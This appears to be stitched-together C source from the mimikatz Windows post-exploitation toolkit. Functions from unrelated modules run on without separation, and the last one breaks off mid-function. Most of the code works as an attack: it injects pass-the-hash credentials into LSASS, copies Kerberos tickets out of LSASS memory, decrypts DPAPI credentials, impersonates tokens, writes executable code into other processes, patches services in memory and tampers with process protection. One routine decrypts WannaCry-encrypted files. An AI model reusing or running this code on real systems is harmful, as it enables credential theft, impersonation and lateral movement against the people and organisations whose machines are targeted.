NTSTATUS kuhl_m_standard_cd(int argc, wchar_t * argv[]) { wchar_t * buffer; if(kull_m_file_getCurrentDirectory(&buffer)) { if(argc) kprintf(L"Old: "); kprintf(L"%s\n", buffer); LocalFree(buffer); } else PRINT_ERROR_AUTO(L"kull_m_file_getCurrentDirectory"); if(argc) { if(SetCurrentDirectory(argv[0])) { if(kull_m_file_getCurrentDirectory(&buffer)) { kprintf(L"New: %s\n", buffer); LocalFree(buffer); } else PRINT_ERROR_AUTO(L"kull_m_file_getCurrentDirectory"); } else PRINT_ERROR_AUTO(L"SetCurrentDirectory"); } return STATUS_SUCCESS; }
NTSTATUS kuhl_m_crypto_l_providers(int argc, wchar_t * argv[]) { DWORD provType,tailleRequise, index = 0; wchar_t * monProvider; PCRYPT_PROVIDERS pBuffer = NULL; kprintf(L"\nCryptoAPI providers :\n"); while(CryptEnumProviders(index, NULL, 0, &provType, NULL, &tailleRequise)) { if(monProvider = (wchar_t *) LocalAlloc(LPTR, tailleRequise)) { if(CryptEnumProviders(index, NULL, 0, &provType, monProvider, &tailleRequise)) kprintf(L"%2u. %s\n", index, monProvider); LocalFree(monProvider); } index++; } if(GetLastError() != ERROR_NO_MORE_ITEMS) PRINT_ERROR_AUTO(L"CryptEnumProviders"); if(kuhl_m_crypto_hNCrypt) { kprintf(L"\nCNG providers :\n"); if(NT_SUCCESS(K_BCryptEnumRegisteredProviders(&tailleRequise, &pBuffer))) { for(index = 0; index < pBuffer->cProviders; index++) kprintf(L"%2u. %s\n", index, pBuffer->rgpszProviders[index]); K_BCryptFreeBuffer(pBuffer); } else PRINT_ERROR_AUTO(L"BCryptEnumRegisteredProviders"); } return STATUS_SUCCESS; }
NTSTATUS kuhl_m_process_callbackProcess(int argc, wchar_t * argv[], PKULL_M_MODULE_ENUM_CALLBACK callback) { HANDLE hProcess = NULL; DWORD pid = 0; KULL_M_MEMORY_TYPE type = KULL_M_MEMORY_TYPE_OWN; PKULL_M_MEMORY_HANDLE hMemoryProcess; PCWCHAR szPid; if(kull_m_string_args_byName(argc, argv, L"pid", &szPid, NULL)) { type = KULL_M_MEMORY_TYPE_PROCESS; pid = wcstoul(szPid, NULL, 0); if(!(hProcess = OpenProcess(GENERIC_READ, FALSE, pid))) PRINT_ERROR_AUTO(L"OpenProcess"); } if((type == KULL_M_MEMORY_TYPE_OWN) || hProcess) { if(kull_m_memory_open(type, hProcess, &hMemoryProcess)) { kull_m_process_getVeryBasicModuleInformations(hMemoryProcess, callback, NULL); kull_m_memory_close(hMemoryProcess); } else PRINT_ERROR_AUTO(L"kull_m_memory_open"); if(type = KULL_M_MEMORY_TYPE_PROCESS) CloseHandle(hProcess); } return STATUS_SUCCESS; }
BOOL CALLBACK kuhl_m_token_list_or_elevate_callback(HANDLE hToken, DWORD ptid, PVOID pvArg) { HANDLE hNewToken; TOKEN_STATISTICS tokenStats; DWORD szNeeded; BOOL isUserOK = TRUE; PKUHL_M_TOKEN_ELEVATE_DATA pData = (PKUHL_M_TOKEN_ELEVATE_DATA) pvArg; PWSTR name, domainName; if(ptid != GetCurrentProcessId()) { if(GetTokenInformation(hToken, TokenStatistics, &tokenStats, sizeof(TOKEN_STATISTICS), &szNeeded)) { if(pData->pUsername) { if(kull_m_token_getNameDomainFromToken(hToken, &name, &domainName, NULL, NULL)) { isUserOK = (_wcsicmp(name, pData->pUsername) == 0); LocalFree(name); LocalFree(domainName); } } else if(pData->tokenId) isUserOK = (pData->tokenId == tokenStats.TokenId.LowPart); if(isUserOK && DuplicateTokenEx(hToken, TOKEN_QUERY | TOKEN_IMPERSONATE, NULL, (tokenStats.TokenType == TokenPrimary) ? SecurityDelegation : tokenStats.ImpersonationLevel, TokenImpersonation, &hNewToken)) { if(pData->pSid) { isUserOK = FALSE; if(!CheckTokenMembership(hNewToken, pData->pSid, &isUserOK)) PRINT_ERROR_AUTO(L"CheckTokenMembership"); } if(isUserOK) { kprintf(L"%u\t", ptid); kuhl_m_token_displayAccount(hToken); if(pData->elevateIt) { if(SetThreadToken(NULL, hNewToken)) { kprintf(L" -> Impersonated !\n"); kuhl_m_token_whoami(0, NULL); isUserOK = FALSE; } else PRINT_ERROR_AUTO(L"SetThreadToken"); } } else isUserOK = TRUE; CloseHandle(hNewToken); } else isUserOK = TRUE; } } return isUserOK; }
NTSTATUS kuhl_m_sekurlsa_msv_pth(int argc, wchar_t * argv[]) { BYTE ntlm[LM_NTLM_HASH_LENGTH] = {0}; TOKEN_STATISTICS tokenStats; MSV1_0_PTH_DATA data = {&(tokenStats.AuthenticationId), NULL, NULL, ntlm, FALSE}; PCWCHAR szRun, szNTLM, pFakeUserName, pFakeLogonDomain; DWORD i, j, dwNeededSize; HANDLE hToken; PROCESS_INFORMATION processInfos; if(pFakeUserName = kuhl_m_sekurlsa_msv_pth_makefakestring(argc, argv, L"user", &data.UserName)) { if(pFakeLogonDomain = kuhl_m_sekurlsa_msv_pth_makefakestring(argc, argv, L"domain", &data.LogonDomain)) { if(kull_m_string_args_byName(argc, argv, L"ntlm", &szNTLM, NULL)) { kull_m_string_args_byName(argc, argv, L"run", &szRun, L"cmd.exe"); if(wcslen(szNTLM) == (LM_NTLM_HASH_LENGTH * 2)) { for(i = 0; i < LM_NTLM_HASH_LENGTH; i++) { swscanf_s(&szNTLM[i*2], L"%02x", &j); ntlm[i] = (BYTE) j; } kprintf(L"NTLM\t: "); kull_m_string_wprintf_hex(data.NtlmHash, LM_NTLM_HASH_LENGTH, 0); kprintf(L"\n"); kprintf(L"Program\t: %s\n", szRun); if(kull_m_process_create(KULL_M_PROCESS_CREATE_LOGON, szRun, CREATE_SUSPENDED, NULL, LOGON_NETCREDENTIALS_ONLY, pFakeUserName, pFakeLogonDomain, L"", &processInfos, FALSE)) { kprintf( L" | PID %u\n" L" | TID %u\n", processInfos.dwProcessId, processInfos.dwThreadId); if(OpenProcessToken(processInfos.hProcess, TOKEN_READ, &hToken)) { if(GetTokenInformation(hToken, TokenStatistics, &tokenStats, sizeof(tokenStats), &dwNeededSize)) { kprintf(L" | LUID %u ; %u (%08x:%08x)\n", tokenStats.AuthenticationId.HighPart, tokenStats.AuthenticationId.LowPart, tokenStats.AuthenticationId.HighPart, tokenStats.AuthenticationId.LowPart); kprintf(L" \\_ "); kuhl_m_sekurlsa_enum(kuhl_m_sekurlsa_enum_callback_msv_pth, &data); } else PRINT_ERROR_AUTO(L"GetTokenInformation"); CloseHandle(hToken); } else PRINT_ERROR_AUTO(L"OpenProcessToken"); NtResumeProcess(processInfos.hProcess); CloseHandle(processInfos.hThread); CloseHandle(processInfos.hProcess); } else PRINT_ERROR_AUTO(L"CreateProcessWithLogonW"); } else PRINT_ERROR(L"ntlm hash length must be 32 (16 bytes)\n"); } else PRINT_ERROR(L"Missing argument : ntlm\n"); LocalFree((HLOCAL) pFakeLogonDomain); } LocalFree((HLOCAL) pFakeUserName); } return STATUS_SUCCESS; }
BOOL kull_m_remotelib_CreateRemoteCodeWitthPatternReplace(PKULL_M_MEMORY_HANDLE hProcess, LPCVOID Buffer, DWORD BufferSize, PMULTIPLE_REMOTE_EXT RemoteExt, PKULL_M_MEMORY_ADDRESS DestAddress) { BOOL success = FALSE; DWORD i, j; KULL_M_MEMORY_HANDLE hLocalMemory = {KULL_M_MEMORY_TYPE_OWN, NULL}; KULL_M_MEMORY_ADDRESS aLocalAddr = {(LPVOID) Buffer, &hLocalMemory}; DestAddress->hMemory = hProcess; DestAddress->address = NULL; if(RemoteExt) { if(kull_m_remotelib_GetProcAddressMultipleModules(hProcess, RemoteExt)) { if(aLocalAddr.address = LocalAlloc(LPTR, BufferSize)) { RtlCopyMemory(aLocalAddr.address, Buffer, BufferSize); for(i = 0; i < BufferSize - sizeof(PVOID); i++) { for(j = 0; j < RemoteExt->count; j++) { if((PVOID) RemoteExt->extensions[j].ToReplace == *(PVOID *) ((PBYTE) aLocalAddr.address + i)) { *(PVOID *) ((PBYTE) aLocalAddr.address + i) = RemoteExt->extensions[j].Pointer; //kprintf(L"Found =) - %.*S - %s!%S -> %p\n", sizeof(PVOID), &RemoteExt->extensions[j].ToReplace, RemoteExt->extensions[j].Module, RemoteExt->extensions[j].Function, *(PVOID *) ((PBYTE) aLocalAddr.address + i)); i += sizeof(PVOID) - 1; } } } } } } if(aLocalAddr.address) { if(kull_m_memory_alloc(DestAddress, BufferSize, PAGE_EXECUTE_READWRITE)) { if(!(success = kull_m_memory_copy(DestAddress, &aLocalAddr, BufferSize))) { PRINT_ERROR_AUTO(L"kull_m_memory_copy"); kull_m_memory_free(DestAddress, 0); } } else PRINT_ERROR_AUTO(L"kull_m_memory_alloc / VirtualAlloc(Ex)"); if(RemoteExt) LocalFree(aLocalAddr.address); } else PRINT_ERROR(L"No buffer ?\n"); return success; }
BOOL rsautil_initdefaultkey(HCRYPTPROV *hProv, HCRYPTKEY *hKey) { BOOL status = FALSE; if(CryptAcquireContext(hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) { if(!(status = CryptImportKey(*hProv, default_user_pky, sizeof(default_user_pky), 0, 0, hKey))) { PRINT_ERROR_AUTO(L"CryptImportKey"); CryptReleaseContext(*hProv, 0); } } else PRINT_ERROR_AUTO(L"CryptAcquireContext"); return status; }
NTSTATUS kuhl_m_sid_lookup(int argc, wchar_t * argv[]) { PWSTR name, domain; PSID pSid; SID_NAME_USE nameUse; PCWCHAR szName, szSystem = NULL; kull_m_string_args_byName(argc, argv, L"system", &szSystem, NULL); if(kull_m_string_args_byName(argc, argv, L"sid", &szName, NULL)) { if(ConvertStringSidToSid(szName, &pSid)) { kprintf(L"SID : %s\n", szName); if(IsValidSid(pSid)) { if(kull_m_token_getNameDomainFromSID(pSid, &name, &domain, &nameUse, szSystem)) { kprintf(L"Type : %s\n" L"Domain: %s\n" L"Name : %s\n", kull_m_token_getSidNameUse(nameUse), domain, name); LocalFree(name); LocalFree(domain); } else PRINT_ERROR_AUTO(L"kull_m_token_getNameDomainFromSID"); } else PRINT_ERROR(L"Invalid SID\n"); LocalFree(pSid); } else PRINT_ERROR_AUTO(L"ConvertStringSidToSid"); } else if(kull_m_string_args_byName(argc, argv, L"name", &szName, NULL)) { kprintf(L"Name : %s\n", szName); if(kull_m_token_getSidDomainFromName(szName, &pSid, &domain, &nameUse, szSystem)) { kprintf(L"Type : %s\n" L"Domain: %s\n" L"SID : ", kull_m_token_getSidNameUse(nameUse), domain); kull_m_string_displaySID(pSid); kprintf(L"\n"); LocalFree(pSid); LocalFree(domain); } else PRINT_ERROR_AUTO(L"kull_m_token_getSidDomainFromName"); } else PRINT_ERROR(L"/sid or /name is missing\n"); return STATUS_SUCCESS; }
NTSTATUS kuhl_m_dpapi_cred(int argc, wchar_t * argv[]) { PCWSTR infile; PVOID file, out; DWORD szFile, szOut; PKULL_M_CRED_BLOB cred; if(kull_m_string_args_byName(argc, argv, L"in", &infile, NULL)) { if(kull_m_file_readData(infile, (PBYTE *) &file, &szFile)) { kull_m_dpapi_blob_quick_descr(0, ((PKUHL_M_DPAPI_ENCRYPTED_CRED) file)->blob); if(kuhl_m_dpapi_unprotect_raw_or_blob(((PKUHL_M_DPAPI_ENCRYPTED_CRED) file)->blob, ((PKUHL_M_DPAPI_ENCRYPTED_CRED) file)->blobSize, NULL, argc, argv, NULL, 0, &out, &szOut, L"Decrypting Credential:\n")) { if(cred = kull_m_cred_create(out)) { kull_m_cred_descr(0, cred); kull_m_cred_delete(cred); } LocalFree(out); } LocalFree(file); } else PRINT_ERROR_AUTO(L"kull_m_file_readData"); } else PRINT_ERROR(L"Input CRED file needed (/in:file)\n"); return STATUS_SUCCESS; }
BOOL CALLBACK kuhl_m_sekurlsa_msv_enum_cred_callback_pth(IN PKIWI_MSV1_0_PRIMARY_CREDENTIALS pCredentials, IN DWORD AuthenticationPackageId, IN PKULL_M_MEMORY_ADDRESS origBufferAddress, IN OPTIONAL LPVOID pOptionalData) { PMSV1_0_PRIMARY_CREDENTIAL pPrimaryCreds = (PMSV1_0_PRIMARY_CREDENTIAL)(pCredentials->Credentials.Buffer); PMSV1_0_PTH_DATA_CRED pthDataCred = (PMSV1_0_PTH_DATA_CRED)pOptionalData; KULL_M_MEMORY_HANDLE hLocalMemory = { KULL_M_MEMORY_TYPE_OWN, NULL }; KULL_M_MEMORY_ADDRESS aLocalMemory = { pPrimaryCreds, &hLocalMemory }; if (RtlEqualString(&pCredentials->Primary, &PRIMARY_STRING, FALSE)) { (*pthDataCred->pSecData->lsassLocalHelper->pLsaUnprotectMemory)(pPrimaryCreds, pCredentials->Credentials.Length); if(pthDataCred->pthData->NtlmHash) { RtlCopyMemory(pPrimaryCreds->NtOwfPassword, pthDataCred->pthData->NtlmHash, LM_NTLM_HASH_LENGTH); pPrimaryCreds->isNtOwfPassword = TRUE; } else { RtlZeroMemory(pPrimaryCreds->NtOwfPassword, LM_NTLM_HASH_LENGTH); pPrimaryCreds->isNtOwfPassword = FALSE; } RtlZeroMemory(pPrimaryCreds->LmOwfPassword, LM_NTLM_HASH_LENGTH); RtlZeroMemory(pPrimaryCreds->ShaOwPassword, SHA_DIGEST_LENGTH); pPrimaryCreds->isLmOwfPassword = FALSE; pPrimaryCreds->isShaOwfPassword = FALSE; (*pthDataCred->pSecData->lsassLocalHelper->pLsaProtectMemory)(pPrimaryCreds, pCredentials->Credentials.Length); kprintf(L"Data copy @ %p : ", origBufferAddress->address); if (pthDataCred->pthData->isReplaceOk = kull_m_memory_copy(origBufferAddress, &aLocalMemory, pCredentials->Credentials.Length)) kprintf(L"OK !"); else PRINT_ERROR_AUTO(L"kull_m_memory_copy"); } else kprintf(L"."); return TRUE; }
void kuhl_m_kerberos_ticket_display(PKIWI_KERBEROS_TICKET ticket, BOOL encodedTicketToo) { kprintf(L"\n\t Start/End/MaxRenew: "); kull_m_string_displayLocalFileTime(&ticket->StartTime); kprintf(L" ; "); kull_m_string_displayLocalFileTime(&ticket->EndTime); kprintf(L" ; "); kull_m_string_displayLocalFileTime(&ticket->RenewUntil); kuhl_m_kerberos_ticket_displayExternalName(L"\n\t Service Name ", ticket->ServiceName, &ticket->DomainName); kuhl_m_kerberos_ticket_displayExternalName(L"\n\t Target Name ", ticket->TargetName, &ticket->TargetDomainName); kuhl_m_kerberos_ticket_displayExternalName(L"\n\t Client Name ", ticket->ClientName, &ticket->AltTargetDomainName); if(ticket->Description.Buffer) kprintf(L" ( %wZ )", &ticket->Description); kprintf(L"\n\t Flags %08x : ", ticket->TicketFlags); kuhl_m_kerberos_ticket_displayFlags(ticket->TicketFlags); kprintf(L"\n\t Session Key : 0x%08x - %s", ticket->KeyType, kuhl_m_kerberos_ticket_etype(ticket->KeyType)); if(ticket->Key.Value) { kprintf(L"\n\t "); kull_m_string_wprintf_hex(ticket->Key.Value, ticket->Key.Length, 0); } kprintf(L"\n\t Ticket : 0x%08x - %s ; kvno = %u", ticket->TicketEncType, kuhl_m_kerberos_ticket_etype(ticket->TicketEncType), ticket->TicketKvno); if(encodedTicketToo) { kprintf(L"\n\t "); if(ticket->Ticket.Value) kull_m_string_wprintf_hex(ticket->Ticket.Value, ticket->Ticket.Length, 1); else PRINT_ERROR_AUTO(L"NULL Ticket Value !"); } else kprintf(L"\t[...]"); }
BOOL kull_m_patch_genericProcessOrServiceFromBuild(PKULL_M_PATCH_GENERIC generics, SIZE_T cbGenerics, PCWSTR processOrService, PCWSTR moduleName, BOOL isService) // to do for process // to do callback ! (vault & lsadump) { BOOL result = FALSE; SERVICE_STATUS_PROCESS ServiceStatusProcess; PKULL_M_MEMORY_HANDLE hMemory; KULL_M_MEMORY_HANDLE hLocalMemory = {KULL_M_MEMORY_TYPE_OWN, NULL}; KULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION iModule; HANDLE hProcess; KULL_M_MEMORY_ADDRESS aPatternMemory = {NULL, &hLocalMemory}, aPatchMemory = {NULL, &hLocalMemory}; KULL_M_MEMORY_SEARCH sMemory; PKULL_M_PATCH_GENERIC currenReferences; if(currenReferences = kull_m_patch_getGenericFromBuild(generics, cbGenerics, MIMIKATZ_NT_BUILD_NUMBER)) { aPatternMemory.address = currenReferences->Search.Pattern; aPatchMemory.address = currenReferences->Patch.Pattern; if(kull_m_service_getUniqueForName(processOrService, &ServiceStatusProcess)) { if(ServiceStatusProcess.dwCurrentState >= SERVICE_RUNNING) { if(hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION, FALSE, ServiceStatusProcess.dwProcessId)) { if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, &hMemory)) { if(kull_m_process_getVeryBasicModuleInformationsForName(hMemory, moduleName, &iModule)) { sMemory.kull_m_memoryRange.kull_m_memoryAdress = iModule.DllBase; sMemory.kull_m_memoryRange.size = iModule.SizeOfImage; if(result = kull_m_patch(&sMemory, &aPatternMemory, currenReferences->Search.Length, &aPatchMemory, currenReferences->Patch.Length, currenReferences->Offsets.off0, NULL, 0, NULL, NULL)) kprintf(L"\"%s\" service patched\n", processOrService); else PRINT_ERROR_AUTO(L"kull_m_patch"); } else PRINT_ERROR_AUTO(L"kull_m_process_getVeryBasicModuleInformationsForName"); kull_m_memory_close(hMemory); } } else PRINT_ERROR_AUTO(L"OpenProcess"); } else PRINT_ERROR(L"Service is not running\n"); } else PRINT_ERROR_AUTO(L"kull_m_service_getUniqueForName"); } else PRINT_ERROR(L"Incorrect version in references\n"); return result; }
NTSTATUS kuhl_m_token_revert(int argc, wchar_t * argv[]) { if(SetThreadToken(NULL, NULL)) kuhl_m_token_whoami(0, NULL); else PRINT_ERROR_AUTO(L"SetThreadToken"); return STATUS_SUCCESS; }
void kuhl_m_sekurlsa_kerberos_enum_tickets(IN PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData, IN DWORD grp, IN PVOID tickets, IN BOOL isFile) { PVOID pStruct, pRef = tickets; KULL_M_MEMORY_HANDLE hBuffer = {KULL_M_MEMORY_TYPE_OWN, NULL}; KULL_M_MEMORY_ADDRESS data = {&pStruct, &hBuffer}, aTicket = {NULL, &hBuffer}, aLsassBuffer = {tickets, pData->cLsass->hLsassMem}; DWORD nbTickets = 0; PKIWI_KERBEROS_TICKET pKiwiTicket; PDIRTY_ASN1_SEQUENCE_EASY App_KrbCred; BOOL isNormalSessionKey; wchar_t * filename; if(aTicket.address = LocalAlloc(LPTR, kerbHelper[KerbOffsetIndex].structTicketSize)) { if(kull_m_memory_copy(&data, &aLsassBuffer, sizeof(PVOID))) { data.address = pStruct; data.hMemory = pData->cLsass->hLsassMem; while(data.address != pRef) { if(kull_m_memory_copy(&aTicket, &data, kerbHelper[KerbOffsetIndex].structTicketSize)) { kprintf(L"\n\t [%08x]", nbTickets); if(pKiwiTicket = kuhl_m_sekurlsa_kerberos_createTicket((LPBYTE) aTicket.address, pData->cLsass->hLsassMem)) { isNormalSessionKey = (pData->cLsass->osContext.BuildNumber < KULL_M_WIN_BUILD_10) || (pKiwiTicket->Key.Length < (ULONG) FIELD_OFFSET(LSAISO_DATA_BLOB, data)); kuhl_m_kerberos_ticket_display(pKiwiTicket, isNormalSessionKey, FALSE); if(isFile) if(filename = kuhl_m_sekurlsa_kerberos_generateFileName(pData->LogonId, grp, nbTickets, pKiwiTicket, MIMIKATZ_KERBEROS_EXT)) { if(App_KrbCred = kuhl_m_kerberos_ticket_createAppKrbCred(pKiwiTicket, FALSE)) { if(kull_m_file_writeData(filename, App_KrbCred, kull_m_asn1_getSize(App_KrbCred))) kprintf(L"\n\t * Saved to file %s !", filename); else PRINT_ERROR_AUTO(L"kull_m_file_writeData"); LocalFree(App_KrbCred); } LocalFree(filename); } if(!isNormalSessionKey) { kprintf(L"\n\t LSA Session Key : 0x%08x - %s", pKiwiTicket->KeyType, kuhl_m_kerberos_ticket_etype(pKiwiTicket->KeyType)); kuhl_m_sekurlsa_genericLsaIsoOutput((PLSAISO_DATA_BLOB) pKiwiTicket->Key.Value); } kuhl_m_kerberos_ticket_freeTicket(pKiwiTicket); } data.address = ((PLIST_ENTRY) (aTicket.address))->Flink; } else break; nbTickets++; } } LocalFree(aTicket.address); } }
void kull_m_string_displaySID(IN PSID pSid) { LPWSTR stringSid; if(ConvertSidToStringSid(pSid, &stringSid)) { kprintf(L"%s", stringSid); LocalFree(stringSid); } else PRINT_ERROR_AUTO(L"ConvertSidToStringSid"); }
NTSTATUS kuhl_m_dpapi_wwan(int argc, wchar_t * argv[]) { PBYTE pFile, hex, dataOut; DWORD dwData, lenHex, lenDataOut; LPWSTR dataU, dataF; LPCWSTR infile; PKULL_M_DPAPI_BLOB blob; if(kull_m_string_args_byName(argc, argv, L"in", &infile, NULL)) { if(kull_m_file_readData(infile, &pFile, &dwData)) { if(dataU = kull_m_string_qad_ansi_to_unicode((const char *) pFile)) { if(kull_m_string_quickxml_simplefind(dataU, L"Name", &dataF)) { kprintf(L"Profile \'%s\'\n\n", dataF); LocalFree(dataF); } if(kull_m_string_quickxml_simplefind(dataU, L"AccessString", &dataF)) { kprintf(L" * AccessString : %s\n", dataF); LocalFree(dataF); } if(kull_m_string_quickxml_simplefind(dataU, L"SubscriberID", &dataF)) { if(kull_m_string_stringToHexBuffer(dataF, &hex, &lenHex)) { if(blob = kull_m_dpapi_blob_create(hex)) { kprintf(L"\n"); kull_m_dpapi_blob_descr(0, blob); if(kuhl_m_dpapi_unprotect_raw_or_blob(hex, lenHex, NULL, argc, argv, NULL, 0, (LPVOID *) &dataOut, &lenDataOut, NULL)) { kprintf(L" * SubscriberID : "); kull_m_string_wprintf_hex(dataOut, lenDataOut, 0); kprintf(L"\n"); kprintf(L"%.*s", lenDataOut / sizeof(wchar_t), dataOut); LocalFree(dataOut); } kull_m_dpapi_blob_delete(blob); } LocalFree(hex); } LocalFree(dataF); } LocalFree(dataU); } LocalFree(pFile); } else PRINT_ERROR_AUTO(L"kull_m_file_readData"); } else PRINT_ERROR(L"Input Wwan XML profile needed (/in:file)\n"); return STATUS_SUCCESS; }
NTSTATUS kuhl_m_process_genericOperation(int argc, wchar_t * argv[], KUHL_M_PROCESS_GENERICOPERATION operation) { HANDLE hProcess; NTSTATUS status = STATUS_NOT_FOUND; DWORD pid = 0, access; PCWCHAR szPid, szText; switch(operation) { case KUHL_M_PROCESS_GENERICOPERATION_TERMINATE: access = PROCESS_TERMINATE; szText = L"NtTerminateProcess"; break; case KUHL_M_PROCESS_GENERICOPERATION_SUSPEND: access = PROCESS_SUSPEND_RESUME; szText = L"NtSuspendProcess"; break; case KUHL_M_PROCESS_GENERICOPERATION_RESUME: access = PROCESS_SUSPEND_RESUME; szText = L"NtResumeProcess"; break; default: return status; } if(kull_m_string_args_byName(argc, argv, L"pid", &szPid, NULL)) pid = wcstoul(szPid, NULL, 0); if(pid) { if(hProcess = OpenProcess(access, FALSE, pid)) { switch(operation) { case KUHL_M_PROCESS_GENERICOPERATION_TERMINATE: status = NtTerminateProcess(hProcess, STATUS_SUCCESS); break; case KUHL_M_PROCESS_GENERICOPERATION_SUSPEND: status = NtSuspendProcess(hProcess); break; case KUHL_M_PROCESS_GENERICOPERATION_RESUME: status = NtResumeProcess(hProcess); break; } if(NT_SUCCESS(status)) kprintf(L"%s of %u PID : OK !\n", szText, pid); else PRINT_ERROR(L"%s 0x%08x\n", szText, status); CloseHandle(hProcess); } else PRINT_ERROR_AUTO(L"OpenProcess"); } else PRINT_ERROR(L"pid (/pid:123) is missing"); return status; }
NTSTATUS kuhl_m_dpapi_protect(int argc, wchar_t * argv[]) { DATA_BLOB dataIn, dataOut, dataEntropy = {0, NULL}; PKULL_M_DPAPI_BLOB blob; PCWSTR description = NULL, szEntropy, outfile; CRYPTPROTECT_PROMPTSTRUCT promptStructure = {sizeof(CRYPTPROTECT_PROMPTSTRUCT), CRYPTPROTECT_PROMPT_ON_PROTECT | CRYPTPROTECT_PROMPT_ON_UNPROTECT | CRYPTPROTECT_PROMPT_STRONG, NULL, MIMIKATZ}, *pPrompt; DWORD flags = 0, outputMode = 1; kull_m_string_args_byName(argc, argv, L"data", (PCWSTR *) &dataIn.pbData, MIMIKATZ); kull_m_string_args_byName(argc, argv, L"description", &description, NULL); if(kull_m_string_args_byName(argc, argv, L"entropy", &szEntropy, NULL)) kull_m_string_stringToHexBuffer(szEntropy, &dataEntropy.pbData, &dataEntropy.cbData); if(kull_m_string_args_byName(argc, argv, L"machine", NULL, NULL)) flags |= CRYPTPROTECT_LOCAL_MACHINE; pPrompt = kull_m_string_args_byName(argc, argv, L"prompt", NULL, NULL) ? &promptStructure : NULL; if(kull_m_string_args_byName(argc, argv, L"c", NULL, NULL)) outputMode = 2; kprintf(L"\ndata : %s\n", dataIn.pbData); kprintf(L"description : %s\n", description ? description : L""); kprintf(L"flags : "); kull_m_dpapi_displayProtectionFlags(flags); kprintf(L"\n"); kprintf(L"prompt flags: "); if(pPrompt) kull_m_dpapi_displayPromptFlags(pPrompt->dwPromptFlags); kprintf(L"\n"); kprintf(L"entropy : "); kull_m_string_wprintf_hex(dataEntropy.pbData, dataEntropy.cbData, 0); kprintf(L"\n\n"); dataIn.cbData = (DWORD) ((wcslen((PCWSTR) dataIn.pbData) + 1) * sizeof(wchar_t)); if(CryptProtectData(&dataIn, description, &dataEntropy, NULL, pPrompt, flags, &dataOut)) { if(blob = kull_m_dpapi_blob_create(dataOut.pbData)) { kull_m_dpapi_blob_descr(blob); kull_m_dpapi_blob_delete(blob); } kprintf(L"\n"); if(kull_m_string_args_byName(argc, argv, L"out", &outfile, NULL)) { if(kull_m_file_writeData(outfile, dataOut.pbData, dataOut.cbData)) kprintf(L"Write to file \'%s\' is OK\n", outfile); } else { kprintf(L"Blob:\n"); kull_m_string_wprintf_hex(dataOut.pbData, dataOut.cbData, outputMode | (16 << 16)); kprintf(L"\n"); } LocalFree(dataOut.pbData); } else PRINT_ERROR_AUTO(L"CryptProtectData"); if(dataEntropy.pbData) LocalFree(dataEntropy.pbData); return STATUS_SUCCESS; }
void rsautil_decryptFileWithKey(HCRYPTPROV hProv, HCRYPTKEY hUserRsaKey, HCRYPTKEY hFreeRsaKey, LPWSTR filename) { HCRYPTKEY hUserFileAesKey; PWANA_FORMAT pbEncData; PWCHAR p; DWORD cbEncData, cbRealDataLen, cryptoMode = CRYPT_MODE_CBC; kprintf(L"File %s -- ", filename); if(kull_m_file_readData(filename, (PBYTE *) &pbEncData, &cbEncData)) { if(p = wcsrchr(filename, L'.')) { *p = L'\0'; // 'delete' the WNCRY extension if(pbEncData->magic == WANA_MAGIC) { if(CryptDecrypt(hUserRsaKey, 0, TRUE, 0, pbEncData->key, &pbEncData->enc_keysize) || (hFreeRsaKey ? CryptDecrypt(hFreeRsaKey, 0, TRUE, 0, pbEncData->key, &pbEncData->enc_keysize) : FALSE)) // decrypt the raw AES key from your RSA key (from userone of free if present) { if(SIMPLE_kull_m_crypto_hkey(hProv, CALG_AES_128, pbEncData->key, pbEncData->enc_keysize, 0, &hUserFileAesKey)) // let's make a AES 128 Windows key from raw bytes { if(CryptSetKeyParam(hUserFileAesKey, KP_MODE, (PBYTE) &cryptoMode, 0)) // we'll do CBC { cbRealDataLen = cbEncData - FIELD_OFFSET(WANA_FORMAT, data); if(CryptDecrypt(hUserFileAesKey, 0, FALSE, 0, pbEncData->data, &cbRealDataLen)) // decrypt final data (padding issue, so 'FALSE' arg) { if(kull_m_file_writeData(filename, pbEncData->data, (ULONG) pbEncData->qwDataSize)) kprintf(L"OK\n"); else PRINT_ERROR_AUTO(L"kull_m_file_writeData"); } else PRINT_ERROR_AUTO(L"CryptDecrypt(AES)"); } CryptDestroyKey(hUserFileAesKey); } } else PRINT_ERROR_AUTO(L"CryptDecrypt(RSA)"); } else PRINT_ERROR(L"ERROR: WANACRY! magic number not found\n"); } else PRINT_ERROR(L"ERROR: no \'.\' at the end of the user file ?\n"); LocalFree(pbEncData); } else PRINT_ERROR_AUTO(L"kull_m_file_readData"); }
NTSTATUS kuhl_m_kernel_processProtect(int argc, wchar_t * argv[]) { MIMIDRV_PROCESS_PROTECT_INFORMATION protectInfos = {0, {0, 0, {0, 0, 0}}}; PCWCHAR szProcessName, szPid; BOOL isUnprotect; if(MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_MIN_BUILD_VISTA) { isUnprotect = kull_m_string_args_byName(argc, argv, L"remove", NULL, NULL); if(kull_m_string_args_byName(argc, argv, L"process", &szProcessName, NULL)) { kprintf(L"Process : %s\n", szProcessName); if(!kull_m_process_getProcessIdForName(szProcessName, &protectInfos.processId)) PRINT_ERROR_AUTO(L"kull_m_process_getProcessIdForName"); } else if(kull_m_string_args_byName(argc, argv, L"pid", &szPid, NULL)) { protectInfos.processId = wcstoul(szPid, NULL, 0); } else PRINT_ERROR(L"Argument /process:program.exe or /pid:processid needed\n"); if(protectInfos.processId) { if(!isUnprotect) { if(MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_MIN_BUILD_8) { protectInfos.SignatureProtection.SignatureLevel = 1; } else if(MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_MIN_BUILD_BLUE) { protectInfos.SignatureProtection.SignatureLevel = 0x0f; protectInfos.SignatureProtection.SectionSignatureLevel = 0x0f; } else { protectInfos.SignatureProtection.SignatureLevel = 0x3f; protectInfos.SignatureProtection.SectionSignatureLevel = 0x3f; protectInfos.SignatureProtection.Protection.Type = 2; protectInfos.SignatureProtection.Protection.Audit = 0; protectInfos.SignatureProtection.Protection.Signer = 6; } } kprintf(L"PID %u -> %02x/%02x [%1x-%1x-%1x]\n", protectInfos.processId, protectInfos.SignatureProtection.SignatureLevel, protectInfos.SignatureProtection.SectionSignatureLevel, 